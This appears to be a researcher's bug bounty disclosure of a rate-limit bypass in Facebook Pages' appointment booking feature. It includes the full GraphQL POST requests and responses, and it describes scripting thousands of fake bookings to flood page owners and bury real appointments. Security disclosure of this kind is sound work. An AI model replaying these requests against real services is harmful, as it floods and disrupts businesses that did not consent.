This bug was a bypass to a resolved issue which I reported some time ago - [Facebook]Disable Service Appointments
POC -
A hacker could have used missing rate limit in setting up Appointments for a Service created by a Page and hide the legit Appointments.
A request going to -
===============================================
POST/api/graphqlbatch/HTTP/1.1
Host:www.facebook.com
__user=ABCXYZ&__a=1&__dyn=ABCXYZ&__req=x&__be=1&__pc=PHASED:ufi_home_page_pkg&dpr=1&__rev=1000581540&__comet_req=false&fb_dtsg=ABCXYZ&jazoest=22014&__spin_r=1000581540&__spin_b=trunk&__spin_t=1554795186&queries={"o0":{"doc_id":"2204485419589691","query_params":{"input":{"request_owner_id":XXX,"client_mutation_id":0,"actor_id":XXX,"page_id":XXX,"service_id":null,"service_ids":["2155898777850745"],"end_time":1554798600,"start_time":1554796800,"consumer_country_code":null,"consumer_phone_number":null,"appointment_notes":null,"session_id":"ba84af01c639a4ab85a3d3714a3e5583","referrer":"availability_card","referrer_surface":"page"}}}}
===============================================
could be manipulated and repeated to bypass the rate limit in place.
In this request body there are two objects "end_time":1554798600" and "start_time":1554796800" which are unix timestamps for start and end time for the appointments.
By a customised payload list we can automate a bruteforce attack which will make appointment requests with new timings.
Evaluation for rate limiting -
In the POC video sent to the Facebook Security team, I had shown that we are not getting blocked as the response for every request will be "successful_results": 1,.
We can send 4000 requests in just less then 2 minutes and we are not getting silently blocked after 4001th request as the owner of the page is getting the 4001th notification.
The response for every request would be -
===============================================
{"o0":{"data":{"services_external_calendar_save_instant_booking_appointment":{"request":{"id":"2130150507105421"},"error":null}}}}
{
"successful_results": 1,
"error_results": 0,
"skipped_results": 0
}===============================================
The same behaviour could be found in FB4A requests and the responses if followed the same bypass.
The request -===============================================
POST/graphql HTTP/1.1
Content-Type:application/x-www-form-urlencoded
X-FB-Friendly-Name:SendInstantBookingRequestMutation
Host:graph.facebook.com
doc_id=1552528994814342&method=post&locale=en_US&pretty=false&format=json&purpose=fetch&variables={"0":{"start_time":1554802200,"session_id":"f69c72e4-c68e-4f9f-8154-035bc95b9ffd","client_mutation_id":"984f6399-ec59-43d9-882a-28de0d16d370","actor_id":"XXX","service_ids":["XXX"],"end_time":1554804000,"prior_referrer_surface":null,"page_id":"XXX","referrer":"PRIMARY_CTA","prior_referrer":null,"appointment_notes":"","referrer_surface":"PAGE"}}&fb_api_req_friendly_name=SendInstantBookingRequestMutation&fb_api_caller_class=graphservice&fb_api_analytics_tags=["GraphServices","visitation_id=281710865595635:bc598:2:1554798860.163"]&server_timestamps=true
===============================================
The response -
===============================================
{"data":{"services_external_calendar_save_instant_booking_appointment":{"request":{"id":"2130194283767710"}}},"extensions":{"server_metadata":{"request_start_time_ms":1554799254984,"time_at_flush_ms":1554799256773},"is_final":true}}
===============================================
Timeline -
Reported - Tuesday, April 9, 2019
Triaged - Friday, April 12, 2019
Thursday, June 6, 2019 - Closed - "Due to the limited nature of this issue, we don't feel it has enough of a security impact to be rewarded via the bug bounty program. As previously discussed, there were in fact rate limits in place here."